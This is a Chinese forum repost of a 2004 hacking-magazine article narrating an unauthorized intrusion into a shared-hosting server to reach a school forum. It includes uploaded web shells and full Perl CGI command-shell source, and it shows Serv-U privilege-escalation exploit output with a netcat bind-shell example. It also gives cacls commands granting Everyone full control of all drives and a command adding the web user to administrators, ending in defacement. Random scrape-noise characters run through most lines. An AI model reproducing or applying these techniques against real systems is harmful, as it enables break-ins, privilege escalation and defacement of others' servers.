找回密码
 立即注册
查看: 2707|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 9 Z- _7 a8 W& ?0 S, K; v1 z" f
本文作者:angel% H# g; d1 g, a+ c: F
文章性质:原创' D7 j- g1 Z# T
发布日期:2004-11-09 + d, l+ E/ w" x! y. H. w; g
注意:
* J7 O; V! |7 a5 b3 J; |本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。) \- N1 f. k$ R/ O6 e
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
7 J- h6 v. r# b- G& p' z
! W9 p/ |6 v+ _/ l/ S+ u  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
$ K! a6 S+ X4 d$ R/ D
$ d) J( c- W6 j, b  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
+ f% f: p8 E* Z7 f1 Y. q9 K) A0 S5 O: {7 o" Q& W; T- i( R
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 , I. h8 e: S0 G; N7 h- \: \- Z
7 q, ^5 F) r+ H' B6 x6 n8 g: g
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 * N$ \& d: ?; m8 Y

& h) ^( V$ t1 b0 m2 d& L  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 + T7 q% L8 v% j% |/ o, s
+ I  z% Y6 w! V% T+ B9 Z
  没有目的的跳转目录着……
8 y! K8 c& f9 B; q7 U* u7 |% \
7 C+ j$ C4 z9 }6 E) d& p  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 8 A4 p- X, @$ N4 s
  f, w2 A% W: v9 U7 {! l; K5 Y- V
  结束了吗?不,我试着 FTP 一下: , Y: k4 }5 a. e3 a

% w* V* O" R& L7 ZMicrosoft Windows 2000 [Version 5.00.2195]
6 y( I) y5 h" ^3 z6 w(C) 版权所有 1985-2000 Microsoft Corp. * @+ U. H- U9 Q& b

# r, h: H1 {: g8 NC:\Documents and Settings\Administrator>ftp www.school.com
2 k. d2 ^2 w/ c( ^Connected to www. school.com.
2 a3 J- V% s  P1 O2 U220 Welcome to FTP Server... ; o1 [  j. ~) V! D0 X
User (www.bjtrq.com:(none)): : v/ Y- ^. B8 d8 W/ k% {. t9 \7 K
331 User name okay, need password.
% g; h/ J2 ?! S' sPassword: 1 u8 ~0 _  w! x, ^2 ?
530 Not logged in. % b% X  t! a; d
Login failed. % @) ~. h" u) g& Y3 s8 {
ftp> bye 2 X3 y, b* J" [5 j
221 Goodbye!
$ ^8 }, D% a9 T + |* z4 H8 R5 }. M
7 p# z0 {. r3 S! W8 U; l
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 0 \+ s" `+ H, W! a. B" u) O
  K; I7 ^" g2 Z+ ^& r( k- U2 g9 j
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
# u& Q! Z2 p- C7 c. ~1 E% V( e: A8 s- w/ y" x( w
Application Data! z$ K$ ^" y/ l+ c% `, [
Documents" b" Y0 A2 ~& N) W! S' j1 Y
DRM
1 [1 G1 h- W5 oFavorites6 F# K) o7 u% Z2 C
Templates. @$ ~: G3 T$ k$ s' V
「开始」菜单
; i  A% K/ J8 Z, ^) a6 r& A桌面9 ~# M: G' {+ i8 j

) g: k  I9 D+ c% p/ u/ s+ g6 n0 R: k0 g% X$ i5 p4 P
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 0 K. O) K' U2 t* r( A* f! n
6 y6 }2 K$ F$ G" W" J
ActiveState ActivePerl 5.8
0 j# T: I9 I, aAdministrative Tools
  {2 U; {% R1 x5 p! x) UDeerfield.com4 M# Q! t' h4 U* i! q: C
DTemp2 Z4 Z3 K5 J" r; e- T
IPSentry- {- N$ U2 F% U! i
MBM 50 E8 V- y0 f$ U% U
NetMeter5 K/ l+ e3 X# p8 Q0 t7 p/ l
Network ICE
" _7 X, \* E3 r# l4 @  N! c+ gPersits Software AspEmail
4 o) l! i: f# q0 c8 }* J5 k2 N5 M5 |Persits Software AspJpeg# }. H+ |) N, b3 g  I0 O2 q* a
Serv-U FTP Server
; `3 ]/ h. K3 |2 e+ H* @1 cSymantec Client Security
$ w$ @$ z. k& k+ m" lWindows 优化大师# z: y' [- _5 s% ^" F
WinRAR
% X! T3 V0 ~  K  c4 A4 u启动
3 V! v4 L& H, [- e管理工具
! ], I2 o/ l- A- F7 q/ c附件
; C2 e1 m6 |% x/ v6 _/ l8 g# y0 r
8 T2 U* k# T5 {3 q( i9 H+ m
' w/ B' j0 P, ~2 `' d5 g  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 " z% }4 H6 u+ B% c/ l' b9 B* {

1 g8 R3 T' a# }0 F1 g5 t- Q. p* D  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
; e: h) I- u, \" R
+ P7 p: ^& P- b8 m) T. r0 WUser281=angel|1|0 * q, ~( w9 C$ x8 n) m" v
8 N! w: Q/ P4 F& X" E; n# F
" G9 V6 K/ Z4 d8 C/ L
  然后加上 7 s" }0 G1 |6 }7 B- K

4 d+ E( w& {6 O2 \. b[USER=angel|1]
2 b, p. U! o1 a/ W7 EPassword=ng98F85379EA68DBF97BAADCA99B69B805
; `5 V8 H" J& R  V- {HomeDir=D:\websites
5 l& B  D3 S- u+ NRelPaths=1
( `" Y, K5 y9 y* L+ a4 ZTimeOut=600
+ ?+ Q6 R) T$ ^. y1 }' PMaintenance=System- Q. F, e( d. P0 ?
Access1=D:\websites|RWAMELCDP
! g+ Z( L8 G" CSKEYValues=
& b7 b1 n% D- D % |' W7 D2 Z+ \# g1 u1 x; n
* _  d/ Z1 E' ~% y( c6 s$ q
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
* `1 [& `6 i; G# j4 h7 ]# {4 w# K: D4 ~5 o5 _9 @
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 6 w6 G1 y& V: V( q
# ?. J0 o  E% u; o* q. w' W
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
1 o4 o, ^2 ^1 a( g
4 L( T' u5 }  C! R6 Z+ N; Z  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: ' d/ _! k& A& l1 N

) s* H+ n; f. o5 a; @/ \#!/usr/bin/perl/ F/ A/ i7 ?) B0 C. S$ h8 ~
binmode(STDOUT);
2 h# _  S8 Q( Csyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
& a* c1 l2 Q. i0 f, g- N9 k/ |$_ = $ENV{QUERY_STRING};4 ^; ]# V' r% }4 C5 g% I# i
s/%20/ /ig;
6 j+ Q: E. j; J3 T6 g8 Os/%2f/\//ig;
' @9 E( H4 t& }2 T, e: `) i! ]/ n- H$execthis = $_;
4 e" I/ `! s" n8 o% Y/ Ssyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
9 y( W& E  t2 i1 D, J4 Q# s  i# }) p) \open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
4 l, p1 R+ A% m3 Msystem($execthis);
/ q- O: ?% g1 m2 U6 E! O, \syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);/ W: R8 {0 x9 Q( ^! o4 I
close(STDERR);0 M5 M8 T& ~& @$ @9 e' ]5 A' _
close(STDOUT);3 ]' L. J0 ?4 |( p  ]3 n
exit;7 v8 |' {$ Y8 o, _" z! V1 P
- A. B( W" d! g" \+ n$ E

; D. `( D. c0 [9 M  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
. w6 z6 R; A8 U6 o1 t2 Q
( [& H4 E1 E7 `% O3 G  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
) Y5 x) A& H4 F- `
7 D$ u$ j# L" m  x3 jhttp://anyhost//cmd.pl?d:\user\bin\su.exe ) q4 i, E, |4 N% k; c
4 @# v/ x! C5 ?( P7 ?9 g; g

8 m- [( Z7 G4 _' L  返回: . A: X& x! p8 ~: I5 C0 {
0 H$ ^0 v7 k3 Z/ s. }& Y
Serv-u >3.x Local Exploit by xiaolu
# w" r! n  T5 Y4 x) X& i0 \. k) m: B
USAGE: serv-u.exe "command" 8 C/ o$ x- d- P) V  w) _) h6 ?

& ?  S+ N7 s9 e; O1 d/ ZExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
& N4 s* S3 b' F9 ?3 w + ~- g/ W( ]- B5 H3 }" ]

" g; V5 {/ Z/ j5 c  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 9 k) G, C/ p. K7 G* T+ X; Y' H1 S

7 M1 r$ k- e* @, ]http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" + G$ h  K( C5 G5 f6 W: F

  }4 P, ~/ {2 @http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 7 H. H% q$ Z, t% `( L3 H& m. a

2 ~# g. `% u0 J$ j* `  N3 l6 ahttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
# w) q3 W& w; [, [( J1 w' i
: u# m' q) N+ l6 J' |http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
2 U4 d1 |# N2 K5 |1 N1 u% w. H
9 L: X! K( t4 b$ c( s# V+ j5 V, h
  返回下面的信息,就表示成功了!!! ) l, f. H2 D. W

. K! c3 ~$ N7 V* IServ-u >3.x Local Exploit by xiaolu # R9 E1 Z, d& V. g" J
% B' a/ m9 \1 J
<220 Serv-U FTP Server v5.2 for WinSock ready... + v' E* ^& {% P2 O

6 [3 A5 [: G) ]! Y& u>USER LocalAdministrator , J0 M' Y& {1 p% _& s( r
2 z6 a9 R* n3 D3 d
<331 User name okay, need password. # Q) i/ H; V! q, D0 U

4 }0 B) Z1 P# m& V( z0 w****************************************************** ) P# |# U1 ]" c

% z3 R+ t8 y) w! E7 {4 ]. x* q8 G>PASS #l@$ak#.lk;0@P
  a8 R9 t* h, Q  p: m
5 i- v4 ]. f, {& t/ @1 {$ C6 R<230 User logged in, proceed. 3 Q/ }2 D  J4 x, N1 B
! b+ d7 S7 K* c- W4 k
******************************************************   C: m' n: l- G& \/ V2 g9 O

$ H3 p3 U( V- V, H4 u>SITE MAINTENANCE 3 U6 W2 c  p1 f5 o9 A" I
0 W- z8 ]7 l9 c; S
****************************************************** 4 {, B8 e) K% X0 y
4 [: c6 n( f3 x
[+] Creating New Domain...
+ O0 ^0 F0 ?8 Z8 _: l3 Y5 {. {8 U. U# d$ r
<200-DomainID=2
6 E: H) \; d$ Q+ s) J; l; C9 f9 S/ X( k" L, l9 G: D
<220 Domain settings saved 4 F8 q! k3 C% e  |6 b' }0 |8 M
9 B5 o! s' m( E' }  U
******************************************************
& ]/ f& j  p7 h( a- v# ?, S7 B  t( u3 |) z
[+] Domain xl:2 Created 2 [( S/ u" n  d9 }$ ^3 f, r

. u# K0 C4 F5 L- R8 x) G, x[+] Creating Evil User
% f; V/ j0 R5 {& ~; ?, ^& \
$ z2 g* B' z$ M<200-User=xl
8 `; m) G6 E  A! [5 v2 F) h0 M+ Z% }6 d' w$ C7 B; ~/ u
200 User settings saved
) D( L2 t3 |0 \9 [8 G# H" r' o$ F0 Z+ c; g* E
****************************************************** % u& i/ h! N1 i  Z
& m8 O1 X2 @* `0 p4 m9 C
[+] Now Exploiting... . F% D& G( T( ]5 G% _
* w- e- E7 b" t: ^7 E) N8 \
>USER xl ( i3 [, L9 T9 u5 h3 E
- P+ l- I8 v, E
<331 User name okay, need password.
% j& H) d- i# f) d  z: g0 M7 E$ K, `$ @+ b8 G
******************************************************
# n9 }' Y3 {& g$ j# \# T5 G- d  n
: U9 R0 D! M/ N8 V. m1 ~( _>PASS 111111 8 H) r# l' |9 W
8 m# l8 g& }# ^
<230 User logged in, proceed.
* g+ n0 v8 |+ T3 j8 w( n+ x& V3 N0 e4 U7 ^2 W
****************************************************** ) n/ M8 Y" n4 ]! n. A
6 Z% P' Z& T! Z. x, f8 x" Y
[+] Now Executing: cacls.exe c: /E /T /G everyone:F ) w- {" p3 [( d! ?; x7 [" T
$ c: S; A% D. Q2 x$ B
<220 Domain deleted
4 h+ M% d' C6 w" U% `. U9 q! p" d9 ~2 p4 G
****************************************************** 5 _% ^( ?& S* E; c: T
! f6 @3 O$ `" M) a' g
+ G! ]  u" `& w- r5 T9 l
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
0 Y. v! Z  c/ R0 r1 D% c% z
1 I, A( v& a: o: a9 ohttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 0 M4 M  h+ g! [+ V% H
, _5 [4 r8 m$ t. r

7 D# t& ]  I: M3 c* y0 _5 G* p  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 / w" T8 w5 d: Q$ \

! u2 L2 j4 w. L* B- x* K5 w9 l# w  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。" p! i: d5 y1 g+ R" Q) |3 C

1 E, w! k/ |: Z* z& e2 c  5 F; D( V  Y  `1 f7 J. ~$ T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表